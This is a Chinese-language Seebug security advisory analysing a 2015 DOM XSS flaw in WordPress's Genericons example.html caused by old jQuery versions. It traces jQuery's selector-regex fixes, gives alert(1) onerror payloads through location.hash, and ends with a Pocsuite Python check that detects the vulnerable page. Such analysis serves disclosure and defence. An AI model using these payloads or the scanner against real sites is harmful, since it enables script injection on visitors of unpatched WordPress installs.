WordPress example.html 跨站脚本漏洞

2015-05-12T00:00:00
ID SSV:89179
Type seebug
Reporter Root
Modified 2015-05-12T00:00:00

Description

<p>知道创宇安全研究团队 Evi1m0 :2015.5.7</p><h4>概要</h4><p>WordPress 被爆 DOM XSS 漏洞,数百万站点受影响,该漏洞存在于 WordPress 流行的 Genericons example.html 页面中,默认主题 Twenty Fifteen 及知名插件 Jetpack 都内置了该页面,经过分析发现原来是 example.html 使用了存在 DOM XSS 漏 洞的 jQuery老版本 。<br>11 年 dmethvin 提交  jQuery 1.6.1 版本的 Ticket #9521 , 其原因是由 $() | jQuery() 预期的 CSS 选择器在其他情况下可以用于创建 HTML 元素,如果编码不当(事实上很多编码不当的情 况),将会导致产生 DomXSS 漏洞。</p><h4>代码示例(jQuery 1.6.1)</h4><pre class="lang-html" data-lang="html"><html> <head> <title>jQuery DomXSS test</title> <script type="text/javascript"src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></script> <script> $(location.hash) </script> </head> <body> Hello,jQuery. </body> </html> </pre><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/05/blog5.71.jpg" alt="blog5.71" height="218" width="490"></p><h4>WordPress 默认主题 twentyfifteen 示例</h4><p>example.html 297-299 lines:</p><pre class="lang-js" data-lang="js">// set permalink var permalink = cssclass.split(' genericon‐')[1];  window.location.hash = permalink;</pre><p>console.log permalink:</p><ul><li><a href="http://linux.im/wp-content/themes/twentyfifteen/genericons/example.html#123" rel="nofollow">http://linux.im/wp-content/themes/twentyfifteen/genericons/example.html#123</a></li><li>console.log(permalink): genericon-123</li></ul><p>335-343 lines:</p><pre class="lang-js" data-lang="js">// pick random icon if no permalink, otherwise go to permalink if ( window.location.hash ) {    permalink = "genericon‐" + window.location.hash.split('#')[1];     attr = jQuery( '.' + permalink ).attr( 'alt' );      cssclass = jQuery( '.' + permalink ).attr('class');     displayGlyph( attr, cssclass ); } else { pickRandomIcon(); }</pre><p>如果存在 window.location.hash 则拼接 permalink 并使用 jQuery 进行属性操作,问题出现,当我 们将 location.hash 设置为 <img src=@ onerror=alert(1)> 时,导致跨站。</p><h4>jQuery 1.6.1 源码</h4><p> </p><pre class="lang-js" data-lang="js">> $ jquery.js:25 function ( selector, context ) {         // The jQuery object is actually just the init constructor 'enhanced'          return new  jQuery.fn.init( selector, context, rootjQuery );      }> jQuery.fn.init jquery.js:93 function  ( selector, context, rootjQuery ) {         var match, elem, ret, doc;// Handle $(""), $(null), or $(undefined)         if ( !selector ) {             return this;         }// Handle $(DOMElement)         if ( selector.nodeType ) {              this.context = this[0] = selector;              this.length = 1;              return this;         } ......         if (selector.selector !== undefined) {              this.selector = selector.selector;              this.context = selector.context;         }        return jQuery.makeArray( selector, this );     }</pre><p>其中 jQuery.fn.init :</p><pre class="lang-js" data-lang="js">if ( typeof selector === "string" ) { // Are we dealing with HTML string or an ID? if ( selector.charAt(0) === "<" && selector.charAt( selector.length ‐ 1 ) === ">" && selector.length >= 3 ) { // Assume that strings that start and end with <> are HTML and skip the regex check match = [ null, selector, null ]; } else { match = quickExpr.exec( selector ); } </pre><p>quickExpr 对 selector 进行过滤,正则为:</p><pre class="lang-js" data-lang="js">quickExpr = /^(?:[^<](<[\w\W]+>)[^>]$|#([\w\‐])$)/,</pre><p>显然我们上面的 Payload 是能通过的。</p><h4>jQuery 1.7.2 源码</h4><p> </p><p>当时漏洞报告者在 #9521 中提到修复方案:</p><pre class="lang-js" data-lang="js">the quick patch by jquery is here  ‐       quickExpr = /^(?:[^<](<[\w\W]+>)[^>]$|#([\w\‐])$)/, +       quickExpr = /^(?:[^#<](<[\w\W]+>)[^>]$|#([\w\‐]*)$)/,</pre><p>尽管在开始的示例代码中不能生效,但由于程序开发人员的编码习惯显然按照上面的修复并无效果,修复后原有的攻击代码效果:</p><pre class="lang-js" data-lang="js">>_ location.hash "#test<img src=1 onerror=alert(1)>"

>_$(location.hash) [] </pre><p>因为正则新增 # 的原因导致增加失败,在真实环境中属性或其他操作直接使用 location.hash 的 可能性叫小,开发人员以及业务需求使得上面的修复方案没有意义,例如开始提到的 WordPres s Default Themes XSS 漏洞 337 行:</p><pre class="lang-js" data-lang="js">permalink = "genericon‐" + window.location.hash.split('#')[1];</pre><p>程序将获取到的 hash [‘#test111’] split 后,只保存 test111 ,也就使得我们能忽略到 1.7.2 的修 复。</p><h4>jQuery 1.11.3 源码 </h4><p>在前面版本中其实能够得以证明 jQuery 团队确实修复 #9521 的问题就是 quickExpr 的上方注 释:</p><pre class="lang-js" data-lang="js">// A simple way to check for HTML strings or ID strings // Prioritize #id over <tag> to avoid XSS via location.hash (#9521) quickExpr = /^(?:[^#<](<[\w\W]+>)[^>]$|#([\w\‐]*)$)/, </pre><p>可能开发团队遇到了 1.7.2 中我提到问题的尴尬窘境,他们在 1.11.3 又对其进行了升级:</p><pre class="lang-js" data-lang="js">rquickExpr = /^(?:#([\w‐]+)|(\w+)|.([\w‐]+))$/, </pre><p>看到这个正则我几乎无语,开头使用 < 就能轻易绕过:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/05/blog5.72.jpg" alt="blog5.72" height="226" width="492"></p><p>终于,他们在 2.x 系列正式修复了这个问题:</p><pre class="lang-js" data-lang="js">rquickExpr = /^(?:#([\w‐]+)|(\w+)|.([\w‐]+))$/, </pre><h4>其他浏览器</h4><p>如你所见,上面这些 Payload 并不会在 Safari 中成效,通过调试即可发现 Chrome 未对 locatio n.hash 部分进行 URL 编码处理进入函数,而 Safari 会经过 URL 编码进入函数,是这样的:</p><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/05/blog5.73.jpg" alt="blog5.73" height="114" width="490"></p><p>但是我们仍然可以使用 html5 的一些特性,引发错误并 onerror 出来:</p><pre class="lang-js" data-lang="js">file:///1.html#<video><source/onerror=alert(1)></pre><p><img src="http://blog.knownsec.com/wp-content/uploads/2015/05/blog5.74.jpg" alt="blog5.74" height="435" width="854"></p>

                                        
                                            
                                                #!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '1823'  # vul ID
    version = '1'
    author = ['Evi1m0']
    vulDate = '2015-05-07'
    createDate = '2015-05-07'
    updateDate = '2015-05-07'
    references = ('http://wptavern.com/xss-vulnerability-in-jetpack-and-the-twenty-fif'
                  'teen-default-theme-affects-millions-of-wordpress-users')
    name = 'WordPress example.html 跨站脚本漏洞 POC'
    appPowerLink = 'https://www.wordpress.org/'
    appName = 'WordPress'
    appVersion = ''
    vulType = 'Cross Site Scripting'
    desc = '''
           jQuery 预期的 CSS 选择器在其他情况下可以用于创建 HTML 元素,
           如果编码不当,将会导致产生 DomXSS 漏洞。
           '''
    # the sample sites for examine
    samples = ['']


    def _verify(self):
        result = {}
        target_url = '%s/wp-content/themes/twentyfifteen/genericons/example.html' % self.url
        request = req.get(target_url)
        if request.status_code == 200:
            if '/jquery/1.7.2/jquery.min.js"&gt;&lt;/script&gt;' in request.content:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = target_url
        return self.parse_attack(result)


    def _attack(self):
        return self._verify()


    def parse_attack(self, result):
        output = Output(self)

        if result:
            output.success(result)
        else:
            output.fail('Internet Nothing returned')

        return output


register(TestPOC)